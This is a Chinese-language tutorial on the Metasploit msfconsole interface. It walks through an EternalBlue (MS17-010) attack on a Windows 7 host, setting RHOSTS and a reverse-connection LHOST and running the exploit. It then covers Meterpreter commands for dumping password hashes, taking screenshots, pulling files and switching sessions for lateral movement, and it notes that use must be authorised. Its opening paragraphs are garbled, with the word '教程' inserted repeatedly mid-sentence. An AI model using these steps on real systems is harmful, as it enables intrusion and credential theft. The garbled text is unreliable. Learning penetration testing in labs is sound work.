msfconsole教程
msfconsole是教程Metasploit框架的核心交互界面。别被它黑底白字的教程朴素外表骗了——这个命令行工具是渗透测试领域最锋利的瑞士军刀。我见过太多新手在它面前手足无措,教程其实掌握几个关键动作就能让它为你所用。教程
启动它只需要在终端敲下msfconsole。教程等待几秒,教程你会看到ASCII艺术字和版本号刷屏。教程但真正重要的教程是那个msf6 >提示符。从这里开始,教程你进入了一个拥有数千个漏洞利用模块的教程武器库。第一次使用的教程人往往会迷失在help输出的茫茫命令列表中,别慌,教程你只需要记住三件事:搜索、教程选择、教程执行。教程
拿一个实际场景来说。假设你在内网测试中发现一台Windows 7主机开放了445端口。先输入search ms17-010——这是永恒之蓝漏洞的编号。几秒后屏幕会列出匹配的模块。你看到exploit/windows/smb/ms17_010_eternalblue,这就是目标。输入use加上这个路径,提示符会变成msf6 exploit(windows/smb/ms17_010_eternalblue) >,表示你已经进入了该模块的上下文。
模块加载后,你得告诉它打谁。set RHOSTS 192.168.1.10设定目标IP,set LHOST 192.168.1.5指定你的反弹连接地址。这里有个容易踩的坑:LHOST必须填目标能访问到的你的IP,别傻乎乎填成127.0.0.1。设置完用options检查一遍配置,确认无误后敲run或exploit。如果一切顺利,你会看到Meterpreter session 1 opened——这就拿下了。
Meterpreter是另一个世界。它不像传统shell那样每次执行命令都建立新连接,而是维持一个持久化的加密通道。输入sysinfo查看目标系统信息,getuid看当前权限。如果你运气好拿到的是SYSTEM权限,就能做更多事情。hashdump导出密码哈希,screenshot截取屏幕,download拉取文件。这些命令的响应速度会让你误以为在操作本地机器。
但使用msfconsole有个必须遵守的底线:只能在授权范围内使用。我见过有人因为好奇对公网IP执行攻击模块,结果招来法律麻烦。渗透测试和犯罪的界限,就在那一纸授权书之间。
还有个实用技巧——会话管理。当你同时拿下多台机器,输入sessions会列出所有活跃会话。用sessions -i 1切换到第一个会话,sessions -k 2杀掉第二个。这个功能在横向移动时特别有用,你可以从一个跳板机跳到另一个,像蜘蛛在网中游走。
msfconsole的搜索功能也值得深挖。search type:exploit platform:windows会筛选出针对Windows的利用模块,search cve:2023能找特定年份的漏洞。玩熟之后你会发现,它不只是一个工具集合,更像一个漏洞情报库。每次使用都在帮你建立对攻击面的直觉——哪些服务常出问题,哪些配置最容易疏忽。
最后提醒一句:别被命令数量吓倒。你不需要全记住,只需要理解几个核心流程。真正的高手不会死记硬背,而是随时help、info查看模块细节。工具是死的,思路是活的。多拿靶机练手,比看一百篇教程都管用。